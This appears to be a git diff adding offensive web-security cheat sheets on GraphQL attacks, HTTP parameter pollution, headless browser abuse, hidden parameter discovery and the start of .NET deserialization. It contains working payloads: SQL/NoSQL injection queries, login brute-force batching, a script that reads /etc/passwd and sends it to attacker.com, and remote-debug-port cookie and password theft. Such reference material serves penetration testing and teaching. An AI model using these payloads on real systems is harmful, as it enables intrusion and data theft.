__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
|
||||
```
|
||||
|
||||
```js
|
||||
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
|
||||
```
|
||||
|
||||
### Enumerate Database Schema via Suggestions
|
||||
|
||||
When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
|
||||
|
||||
```json
|
||||
{
|
||||
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
|
||||
}
|
||||
```
|
||||
|
||||
You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible.
|
||||
|
||||
### Enumerate Types Definition
|
||||
|
||||
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
||||
|
||||
```javascript
|
||||
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
|
||||
```
|
||||
|
||||
### List Path To Reach A Type
|
||||
|
||||
```php
|
||||
$ git clone https://gitlab.com/dee-see/graphql-path-enum
|
||||
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
|
||||
Found 27 ways to reach the "Skill" node from the "Query" node:
|
||||
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
|
||||
- Query (query) -> Query (skills) -> Skill
|
||||
```
|
||||
|
||||
## Methodology
|
||||
|
||||
### Extract Data
|
||||
|
||||
```js
|
||||
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Extract Data Using Edges/Nodes
|
||||
|
||||
```json
|
||||
{
|
||||
"query": "query {
|
||||
teams{
|
||||
total_count,edges{
|
||||
node{
|
||||
id,_id,about,handle,state
|
||||
}
|
||||
}
|
||||
}
|
||||
}"
|
||||
}
|
||||
```
|
||||
|
||||
### Extract Data Using Projections
|
||||
|
||||
:warning: Don’t forget to escape the " inside the **options**.
|
||||
|
||||
```js
|
||||
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
|
||||
```
|
||||
|
||||
### Mutations
|
||||
|
||||
Mutations work like function, you can use them to interact with the GraphQL.
|
||||
|
||||
```javascript
|
||||
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
|
||||
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
|
||||
```
|
||||
|
||||
### GraphQL Batching Attacks
|
||||
|
||||
Common scenario:
|
||||
|
||||
- Password Brute-force Amplification Scenario
|
||||
- Rate Limit bypass
|
||||
- 2FA bypassing
|
||||
|
||||
#### JSON List Based Batching
|
||||
|
||||
> Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
|
||||
|
||||
Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"query":"..."
|
||||
},{
|
||||
"query":"..."
|
||||
}
|
||||
,{
|
||||
"query":"..."
|
||||
}
|
||||
,{
|
||||
"query":"..."
|
||||
}
|
||||
...
|
||||
]
|
||||
```
|
||||
|
||||
#### Query Name Based Batching
|
||||
|
||||
```json
|
||||
{
|
||||
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
|
||||
}
|
||||
```
|
||||
|
||||
Send the same mutation several times using aliases
|
||||
|
||||
```js
|
||||
mutation {
|
||||
login(pass: 1111, username: "bob")
|
||||
second: login(pass: 2222, username: "bob")
|
||||
third: login(pass: 3333, username: "bob")
|
||||
fourth: login(pass: 4444, username: "bob")
|
||||
}
|
||||
```
|
||||
|
||||
## Injections
|
||||
|
||||
> SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
|
||||
|
||||
### NOSQL Injection
|
||||
|
||||
Use `$regex` inside a `search` parameter.
|
||||
|
||||
```js
|
||||
{
|
||||
doctors(
|
||||
options: "{\"limit\": 1, \"patients.ssn\" :1}",
|
||||
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
|
||||
{
|
||||
firstName lastName id patients{ssn}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### SQL Injection
|
||||
|
||||
Send a single quote `'` inside a GraphQL parameter to trigger the SQL injection
|
||||
|
||||
```js
|
||||
{
|
||||
bacon(id: "1'") {
|
||||
id,
|
||||
type,
|
||||
price
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Simple SQL injection inside a GraphQL field.
|
||||
|
||||
```powershell
|
||||
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
- [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
|
||||
- [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
|
||||
- [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
|
||||
- [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
|
||||
- [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
|
||||
- [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection)
|
||||
- [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection)
|
||||
- [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection)
|
||||
- [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation)
|
||||
|
||||
## References
|
||||
|
||||
- [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://escape.tech/blog/graphql-security-wordlist/)
|
||||
- [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
|
||||
- [GraphQL Batching Attack - Wallarm - December 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
|
||||
- [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://acceis.github.io/prez-graphql/)
|
||||
- [API Hacking GraphQL - @ghostlulz - Jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
|
||||
- [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - Sep 23, 2018](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
|
||||
- [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://labs.detectify.com/2018/03/14/graphql-abuse/)
|
||||
- [Graphql Bug to Steal Anyone's Address - Pratik Yadav - Sept 1, 2019](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
|
||||
- [GraphQL cheatsheet - devhints.io - November 7, 2018](https://devhints.io/graphql)
|
||||
- [GraphQL Introspection - GraphQL - August 21, 2024](https://graphql.org/learn/introspection/)
|
||||
- [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
|
||||
- [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
|
||||
- [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - 5 November 2018](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
|
||||
- [Introduction to GraphQL - GraphQL - November 1, 2024](https://graphql.org/learn/)
|
||||
- [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://hackerone.com/reports/291531)
|
||||
- [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - 8 June 2017](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
|
||||
- [Securing Your GraphQL API from Malicious Queries - Max Stoiber - Feb 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
|
||||
- [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - Nov 6th 2018](https://hackerone.com/reports/435066)
|
||||
100
HTTP Parameter Pollution/README.md
Normal file
100
HTTP Parameter Pollution/README.md
Normal file
|
|
@ -0,0 +1,100 @@
|
|||
# HTTP Parameter Pollution
|
||||
|
||||
> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value¶m1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [Parameter Pollution Table](#parameter-pollution-table)
|
||||
* [Parameter Pollution Payloads](#parameter-pollution-payloads)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* **Burp Suite**: Manually modify requests to test duplicate parameters.
|
||||
* **OWASP ZAP**: Intercept and manipulate HTTP parameters.
|
||||
|
||||
## Methodology
|
||||
|
||||
HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
|
||||
|
||||
HPP can target two levels:
|
||||
|
||||
* Client-Side HPP: Exploits JavaScript code running on the client (browser).
|
||||
* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
|
||||
|
||||
**Examples**:
|
||||
|
||||
```ps1
|
||||
/app?debug=false&debug=true
|
||||
/transfer?amount=1&amount=5000
|
||||
```
|
||||
|
||||
### Parameter Pollution Table
|
||||
|
||||
When ?par1=a&par1=b
|
||||
|
||||
| Technology | Parsing Result | outcome (par1=) |
|
||||
| ----------------------------------------------- | ------------------------ | --------------- |
|
||||
| ASP.NET/IIS | All occurrences | a,b |
|
||||
| ASP/IIS | All occurrences | a,b |
|
||||
| Golang net/http - `r.URL.Query().Get("param")` | First occurrence | a |
|
||||
| Golang net/http - `r.URL.Query()["param"]` | All occurrences in array | ['a','b'] |
|
||||
| IBM HTTP Server | First occurrence | a |
|
||||
| IBM Lotus Domino | First occurrence | a |
|
||||
| JSP,Servlet/Tomcat | First occurrence | a |
|
||||
| mod_wsgi (Python)/Apache | First occurrence | a |
|
||||
| Nodejs | All occurrences | a,b |
|
||||
| Perl CGI/Apache | First occurrence | a |
|
||||
| Perl CGI/Apache | First occurrence | a |
|
||||
| PHP/Apache | Last occurrence | b |
|
||||
| PHP/Zues | Last occurrence | b |
|
||||
| Python Django | Last occurrence | b |
|
||||
| Python Flask | First occurrence | a |
|
||||
| Python/Zope | All occurrences in array | ['a','b'] |
|
||||
| Ruby on Rails | Last occurrence | b |
|
||||
|
||||
### Parameter Pollution Payloads
|
||||
|
||||
* Duplicate Parameters:
|
||||
|
||||
```ps1
|
||||
param=value1¶m=value2
|
||||
```
|
||||
|
||||
* Array Injection:
|
||||
|
||||
```ps1
|
||||
param[]=value1
|
||||
param[]=value1¶m[]=value2
|
||||
param[]=value1¶m=value2
|
||||
param=value1¶m[]=value2
|
||||
```
|
||||
|
||||
* Encoded Injection:
|
||||
|
||||
```ps1
|
||||
param=value1%26other=value2
|
||||
```
|
||||
|
||||
* Nested Injection:
|
||||
|
||||
```ps1
|
||||
param[key1]=value1¶m[key2]=value2
|
||||
```
|
||||
|
||||
* JSON Injection:
|
||||
|
||||
```ps1
|
||||
{
|
||||
"test": "user",
|
||||
"test": "admin"
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
||||
* [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
|
||||
* [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
|
||||
192
Headless Browser/README.md
Normal file
192
Headless Browser/README.md
Normal file
|
|
@ -0,0 +1,192 @@
|
|||
# Headless Browser
|
||||
|
||||
> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
|
||||
> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Headless Commands](#headless-commands)
|
||||
* [Local File Read](#local-file-read)
|
||||
* [Remote Debugging Port](#remote-debugging-port)
|
||||
* [Network](#network)
|
||||
* [Port Scanning](#port-scanning)
|
||||
* [DNS Rebinding](#dns-rebinding)
|
||||
* [CVE](#cve)
|
||||
* [References](#references)
|
||||
|
||||
## Headless Commands
|
||||
|
||||
Example of headless browsers commands:
|
||||
|
||||
* Google Chrome
|
||||
|
||||
```ps1
|
||||
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
|
||||
```
|
||||
|
||||
* Mozilla Firefox
|
||||
|
||||
```ps1
|
||||
firefox --screenshot https://www.google.com
|
||||
```
|
||||
|
||||
* Microsoft Edge
|
||||
|
||||
```ps1
|
||||
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
|
||||
```
|
||||
|
||||
## Local File Read
|
||||
|
||||
### Insecure Flags
|
||||
|
||||
If the target is launched with the `--allow-file-access` option
|
||||
|
||||
```ps1
|
||||
google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
|
||||
```
|
||||
|
||||
Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.
|
||||
|
||||
```js
|
||||
<script>
|
||||
async function getFlag(){
|
||||
response = await fetch("file:///etc/passwd");
|
||||
flag = await response.text();
|
||||
fetch("https://attacker.com/", { method: "POST", body: flag})
|
||||
};
|
||||
getFlag();
|
||||
</script>
|
||||
```
|
||||
|
||||
### PDF Rendering
|
||||
|
||||
Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
|
||||
|
||||
Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
|
||||
|
||||
* Javascript Redirect
|
||||
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
window.location="/etc/passwd"
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
* Iframe
|
||||
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<iframe src="/etc/passwd" height="640" width="640"></iframe>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Remote Debugging Port
|
||||
|
||||
The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.
|
||||
|
||||
**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
|
||||
|
||||
**Tools**:
|
||||
|
||||
* [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
|
||||
* [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header.
|
||||
|
||||
> [!NOTE]
|
||||
> Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut.
|
||||
|
||||
**Exploits**:
|
||||
|
||||
* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
|
||||
* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
|
||||
* Data stored in the settings (username, passwords, token): `chrome://settings`
|
||||
* Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
|
||||
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
|
||||
|
||||
```json
|
||||
{
|
||||
"Browser": "Chrome/136.0.7103.113",
|
||||
"Protocol-Version": "1.3",
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
|
||||
"V8-Version": "13.6.233.10",
|
||||
"WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
|
||||
"webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
|
||||
}
|
||||
```
|
||||
|
||||
* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
|
||||
* Node inspector `--inspect` works like a `--remote-debugging-port`
|
||||
|
||||
```ps1
|
||||
node --inspect app.js # default port 9229
|
||||
node --inspect=4444 app.js # custom port 4444
|
||||
node --inspect=0.0.0.0:4444 app.js
|
||||
```
|
||||
|
||||
Starting from Chrome 136, the switches `--remote-debugging-port` and `--remote-debugging-pipe` won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the `--user-data-dir` switch to point to a non-standard directory.
|
||||
|
||||
The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
|
||||
|
||||
## Network
|
||||
|
||||
### Port Scanning
|
||||
|
||||
Port Scanning: Timing attack
|
||||
|
||||
* Dynamically insert an `<img>` tag pointing to a hypothetical closed port. Measure time to onerror.
|
||||
* Repeat at least 10 times → average time to get an error for a closed port
|
||||
* Test random port 10 times and measure time to error
|
||||
* If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened
|
||||
|
||||
**Consideration**:
|
||||
|
||||
* Chrome blocks by default a list of "known ports"
|
||||
* Chrome blocks access to local network addresses except localhost through 0.0.0.0
|
||||
|
||||
### DNS Rebinding
|
||||
|
||||
* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
|
||||
|
||||
1. Chrome will make 2 DNS requests: `A` and `AAAA` records
|
||||
* `AAAA` response with valid Internet IP
|
||||
* `A` response with internal IP
|
||||
2. Chrome will connect in priority to the IPv6 (evil.net)
|
||||
3. Close IPv6 listener just after first response
|
||||
4. Open Iframe to evil.net
|
||||
5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
|
||||
6. From top window, inject script into iframe to exfiltrate content
|
||||
|
||||
## CVE
|
||||
|
||||
Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
|
||||
|
||||
Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
|
||||
|
||||
* Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419)
|
||||
* Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680)
|
||||
|
||||
The `--no-sandbox` option disables the sandbox feature of the renderer process.
|
||||
|
||||
```js
|
||||
const browser = await puppeteer.launch({
|
||||
args: ['--no-sandbox']
|
||||
});
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
|
||||
* [Changes to remote debugging switches to improve security - Will Harris - March 17, 2025](https://developer.chrome.com/blog/remote-debugging-port)
|
||||
* [Chrome DevTools Protocol - Documentation - July 3, 2017](https://chromedevtools.github.io/devtools-protocol/)
|
||||
* [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
|
||||
* [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
|
||||
* [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
|
||||
* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
|
||||
* [Too Lazy to get XSS? Then use n-days to get RCE in the Admin bot - Jopraveen - March 2, 2025](https://jopraveen.github.io/web-hackthebot/)
|
||||
* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)
|
||||
5
Headless Browser/files/iframe.html
Normal file
5
Headless Browser/files/iframe.html
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
<html>
|
||||
<body>
|
||||
<iframe src="/etc/passwd" height="640" width="640"></iframe>
|
||||
</body>
|
||||
</html>
|
||||
7
Headless Browser/files/window_location_js.html
Normal file
7
Headless Browser/files/window_location_js.html
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
<html>
|
||||
<body>
|
||||
<script>
|
||||
window.location="/etc/passwd"
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
50
Hidden Parameters/README.md
Normal file
50
Hidden Parameters/README.md
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
# HTTP Hidden Parameters
|
||||
|
||||
> Web applications often have hidden or undocumented parameters that are not exposed in the user interface. Fuzzing can help discover these parameters, which might be vulnerable to various attacks.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [Bruteforce Parameters](#bruteforce-parameters)
|
||||
* [Old Parameters](#old-parameters)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters.
|
||||
* [s0md3v/Arjun](https://github.com/s0md3v/Arjun) - HTTP parameter discovery suite
|
||||
* [Sh1Yo/x8](https://github.com/Sh1Yo/x8) - Hidden parameters discovery suite
|
||||
* [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain
|
||||
* [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing
|
||||
|
||||
## Methodology
|
||||
|
||||
### Bruteforce Parameters
|
||||
|
||||
* Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
|
||||
|
||||
```ps1
|
||||
x8 -u "https://example.com/" -w <wordlist>
|
||||
x8 -u "https://example.com/" -X POST -w <wordlist>
|
||||
```
|
||||
|
||||
Wordlist examples:
|
||||
|
||||
* [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
|
||||
* [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
|
||||
* [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
|
||||
* [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
|
||||
* [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
|
||||
|
||||
### Old Parameters
|
||||
|
||||
Explore all the URL from your targets to find old parameters.
|
||||
|
||||
* Browse the [Wayback Machine](http://web.archive.org/)
|
||||
* Look through the JS files to discover unused parameters
|
||||
|
||||
## References
|
||||
|
||||
* [Hacker tools: Arjun – The parameter discovery tool - Intigriti - May 17, 2021](https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
|
||||
* [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)
|
||||
185
Insecure Deserialization/DotNET.md
Normal file
185
Insecure Deserialization/DotNET.md
Normal file
|
|
@ -0,0 +1,185 @@
|
|||
# .NET Deserialization
|
||||
|
||||
> .NET serialization is the process of converting an object’s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.
|
||||
|
||||
